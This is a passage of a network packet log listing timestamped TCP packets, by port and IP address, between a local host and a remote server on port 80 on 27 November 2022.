Nov 27, 2022 04:36:43.179503918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179531097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179542065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179570913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179579973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179610014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179619074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179649115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179665089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179687977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179697990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179727077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179738998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179768085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179779053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179806948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179846048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179861069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179887056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179924965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179941893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.179964066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.179980993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180001974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180041075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180059910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180080891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180120945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180135965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180159092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180171013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180196047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180234909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180248976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180269957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180274010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180294991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180313110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180334091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180351973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180368900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180392027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180398941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180430889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180468082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180483103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180505991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180543900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180560112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180583000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180596113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180622101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180660963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180674076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180701971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180740118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180757046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180778980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180788994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180819988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180859089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180874109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180897951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180934906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180952072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.180969954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.180986881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181009054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181046963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181063890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181086063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181086063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181086063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181127071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181165934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181183100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181205988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181243896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181258917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181282997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181283951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181301117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181323051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181360960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181379080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181399107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181437016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181452036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181473970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181492090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181513071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181550980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181565046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181588888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181628942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181642056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181668043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181680918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181708097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181746960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181760073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181785107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181823015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181839943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181871891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181875944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181911945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181951046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.181965113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.181989908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.182028055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.182041883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.182065964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.182077885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.182105064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.182145119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.182157993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.182943106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.186608076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.199364901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199413061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199440956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199466944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199492931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199521065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199548960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199575901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199601889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199630976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.199640989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.199640989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.199640989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.199640989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.199707985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.199707985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.216835022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.216906071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.216950893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.216976881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.216976881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.216995001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217027903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217039108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217072010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217087030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217092991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217130899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217174053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217216015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217243910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217258930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217267036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217267036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217300892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217303038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217324972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217345953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217356920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217390060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217408895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217433929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217475891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217518091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217550993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217559099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217575073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217607021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217649937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217653036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.217690945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217734098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217775106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217817068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217861891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217904091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217946053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.217988014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218029022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218070984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218111992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218147993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218148947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218158960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218211889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218254089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218296051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218338013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218339920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218370914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218381882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218395948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218426943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218463898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218472958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218518019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218533039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218559980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218602896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218616009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218645096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218664885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218688011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218729019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218748093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218770981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218786955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218815088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218857050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218880892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.218930006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218972921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.218996048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219016075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219058990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219067097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219089031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219104052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219109058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219149113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219191074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219206095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219278097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219320059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219322920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219341040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219367981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219404936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219412088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219427109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219455004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219496965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219500065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219500065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219540119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219579935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219593048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219623089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219664097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219681978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219708920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219752073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219793081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219799995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219799995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219835997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219880104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219897032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.219921112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.219963074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220005035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220024109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220024109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220052004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220097065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220118999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220210075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220254898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220268965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220293045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220309973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220335007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220366955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220398903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220411062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220422029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220439911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220453978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220458031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220496893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220514059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220541000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220545053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220583916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220623970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220626116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220647097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220670938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220712900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220733881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220755100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220768929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220798969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220840931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220885038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220890045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220913887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220932007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220957041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.220974922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.220982075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221019030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221023083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221060991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221074104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221098900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221103907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221117020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221147060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221190929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221200943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221247911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221261024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221287012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221291065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221334934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221345901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221368074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221379995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221385956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221421003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221441031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221463919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221482992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221507072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221517086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221549988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221563101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221591949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221612930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221635103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221677065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221688986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221719027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221720934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221736908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221765041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221772909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221807003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221817017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221848965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221859932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221895933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221940994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.221949100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.221982956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222023964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222062111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222062111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222068071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222081900 CET	49705	80	192.168.2.5	66.235.200.147
